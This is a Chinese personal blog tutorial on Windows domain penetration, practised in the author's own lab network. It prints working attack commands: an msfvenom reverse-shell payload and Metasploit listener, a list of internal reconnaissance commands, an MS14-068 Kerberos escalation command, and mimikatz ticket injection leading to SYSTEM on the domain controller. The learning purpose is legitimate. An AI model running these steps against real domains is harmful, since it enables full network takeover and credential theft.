V0W's Blog

域渗透入门(一)

字数统计: 2,371阅读时长: 9 min
2020/03/15 Share

前言

最近找工作,发现光打CTF不足以应对企业的需求,很多都会问一些内网渗透方面的知识。而我之前内网渗透这一块一直没怎么涉及,虽然有点晚的,但是确实需要补一补,认真学习内网渗透。另外后面打算做成一个系列,内网渗透的入门到实战之类的。

渗透常见概念

内网

​ 局域网(Local Area Network, LAN),又称内网。内网的计算机以NAT(网络地址转换)协议,通过一个公共的网关访问Internet。内网的计算机可向Internet上的其他计算机发送连接请求,但Internet上其他的计算机无法向内网的计算机发送连接请求。

域和域控制器

​ 域(Domain)是Windows网络中独立运行的单位,域之间相互访问则需要建立信任关系(即Trust Relation)。信任关系是连接在域与域之间的桥梁。当一个域与其他域建立了信任关系后,2个域之间不但可以按需要相互进行管理,还可以跨网分配文件和打印机等设备资源,使不同的域之间实现网络资源的共享与管理。

​ 域既是 Windows 网络操作系统的逻辑组织单元,也是Internet的逻辑组织单元,在 Windows 网络操作系统中,域是安全边界。域管理员只能管理域的内部,除非其他的域显式地赋予他管理权限,他才能够访问或者管理其他的域;每个域都有自己的安全策略,以及它与其他域的安全信任关系。

​ 域是一种管理边界,用于一组计算机共享共用的安全数据库,域实际上就是一组服务器和工作站的集合。

域控制器

​ 不过在“域”模式下,至少有一台服务器负责每一台联入网络的电脑和用户的验证工作,相当于一个单位的门卫一样,称为“域控制器(Domain Controller,简写为DC)”。

​ 域控制器中包含了由这个域的账户、密码、属于这个域的计算机等信息构成的数据库。当电脑联入网络时,域控制器首先要鉴别这台电脑是否是属于这个域的,用户使用的登录账号是否存在、密码是否正确。如果以上信息有一样不正确,那么域控制器就会拒绝这个用户从这台电脑登录。不能登录,用户就不能访问服务器上有权限保护的资源,他只能以对等网用户的方式访问Windows共享出来的资源,这样就在一定程度上保护了网络上的资源。

域渗透AD环境搭建

单域的环境还是比较简单的,网上搭建的教程也是比较多,因为我也是刚入门只搭了一个简单的一个域控制器DC+一个win7的域用户。

搭建教程可以参考这两篇文章:

我就简单说一下关键点和我踩到的坑:

  1. 改两个的计算机名,后面比较方便

  2. 虚拟机搭建的情况下(大部分应该都是吧),虚拟机设置中得网络换成桥接。设置好IP使两台虚机在同一个局域网内,通过ip地址互ping能ping通,通过机器名也能ping通,ping域控服务器的计算器全名(带域后缀)也要ping的通。

  3. 一直提示密码设置不符合要求或者第一次登陆需要更改密码有一直解决不了的话,可以考虑更改域控制器安全策略。参考域用户无法修改密码问题的解决方案

  4. 分配内存的时候根据自己的机器来,分配少一点,比如总共8G(推荐16G),可以各分1G,分的太多容易导致物理机崩溃。多渗透环境的话,可能还是需要16G以上内存才能跑得起来。。。

其他好像没什么,按照教程来就行。

测试的域环境结构

1
2
3
4
域:pentestlab.com
域控:windows Server 2003 R2IP: 192.168.0.105
域成员:windows 7x64, IP: 192.168.0.106
攻击者:kaliLinux IP: 192.168.0.108

简单尝试

win7反弹shell

假设控制了域网内的一台电脑,要将权限从local admin 提高到Domain admin,访问包括Domain Controller在内的域内中任何一台电脑

首先得拿到一个shell

  • 上传Metasploit的反弹马,shell下执行命令

生成反弹马(用exe的)

1
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=23333 -f exe > ./Desktop/re.exe

msfconsole设置监听并启动

1
2
3
4
5
6
7
8
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.0.108
lhost => 192.168.0.108
msf5 exploit(multi/handler) > set port 23333
port => 23333
msf5 exploit(multi/handler) > run

shell有中文,所以存在乱码(但是没有关系)

信息收集

拿到shell后,进行必要的信息收集。

内网渗透命令大全

常见的信息收集命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
echo %PROCESSOR_ARCHITECTURE% //查看系统版本位数

netstat -ano //查看开放的端口

net config Workstation //当前计算机名,全名,用户名,系统版本,工作站域,登陆域

net user /domain b404 pass //修改域内用户密码,需要管理员权限

tasklist /S IP地址 /U 域名\用户名 /P /V //查看远程计算机进程

tasklist /svc //查看进程

taskkill /im 进程名称(cmd.exe) //结束进程

taskkill /pid[进程码] //-t(结束该进程) -f(强制结束该进程以及所有子进程)

ipconfig /all //用来查看当前机器的网络环境,判断是工作组,还是域环境.网段是怎么划分的,每个段有多少台机器,DNS服务器IP是多少。

net view //用来查看跟本机有关联的机器名.注意,是跟本机有关联的机器,而不是一个段的机器.

net view /domain //用来查看当前网络环境存在几个域.

net view /domain:xxxx //查看xxx域中存在的跟本机有关联的机器.

net group "domain admins" /domain //查看域内管理员.

net user /domain //查看域内的用户名.

net group "domain computers" /domain //查看域内所有机器名.

net time /domain //查看域时间及域服务器的名字

Nslookup -type=SRV _ldap._tcp. //查询DNS

netstat //查看连接信息.

net group "Domain Controllers" /domain //查找域控

nbtstat //由IP地址得到机器名

ping 扫描内网存活主机:
for /l %i in (1,1,255) do @ping 192.168.200.%i -w 1 -n 1 | find /i"ttl"

查看是否支持PowerShell:
if defined PSModulePath (echo support powershell) else (echo not support powershell)

得到一些信息:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
域:pentestlab.com
域控制器:DCSERVER
主机:Win7-PC1

IPs
192.168.0.1 //可能是网关
192.168.0.105
192.168.0.106 //win7主机,可控
192.168.0.108 //攻击机
//实际环境下应该还存在很多存活的主机,无法通过这样就简单确定域控制器的IP。

支持powershell

某些端口开启:
80(web服务),443(https),135(RPC),3306(mysql),3389(windows远程连接)

从local admin到domain admin

我们利用MS14-068漏洞提升普通用户的权限为与管理员(Domain admin)的身份。

详细原理参考:深入解读MS14-068漏洞

该漏洞利用Kerberos协议的算法和信息存放以及任意签名问题

Kerberos协议是一种基于第三方可信主机的计算机网络协议,它允许两个实体之间在非安全网络环境(可能被窃听、被重放攻击)下以一种安全的方式证明自己的身份。

攻击工具: https://github.com/SecWiki/windows-kernel-exploits/tree/master/MS14-068

利用该工具需要:

  1. SID:

  2. 域控制器名称和域名称:DCServer

  3. python环境(测试使用python2.7.14)

获取TGT并且清除缓存票据

1
MS14-068.exe -u Win7-PC1@pentestlab.com -p V0Wldl19980114 -s S-1-5-21-2650578945-2920865233-32666330-1107 -d DCServer.pentestlab.com

注入TGT,注意注入TGT时,需要将上一步得到的票据放到相应的目录。

1
mimikatz.exe "kerberos::ptc TGT_Win7-PC1@pentestlab.com.ccache" exit

访问域控DCServer的资源\\DCServer\c$,把shell——re.exe放到c盘目录,准备用这个文件反弹shell。

添加定时任务,反弹shell,成功获取域控的system权限。

总结与后记

本文主要是通过一个MS14-068漏洞复现了一个简单域渗透的情景,初窥域渗透和内网渗透。内网渗透确实博大精深,内容很多,知识很杂,听说到更精深的情况是能够自己写免杀和新漏洞的PoC,这甚至还需要二进制的知识。也是希望自己能够通过像这样不断的学习和总结,逐渐摸到门道,慢慢摸索经验,一步步深入吧。

CATALOG
  1. 前言
  2. 渗透常见概念
    1. 内网
    2. 域和域控制器
      1. 域控制器
  3. 域渗透AD环境搭建
  4. 简单尝试
    1. win7反弹shell
    2. 信息收集
    3. 从local admin到domain admin
  5. 总结与后记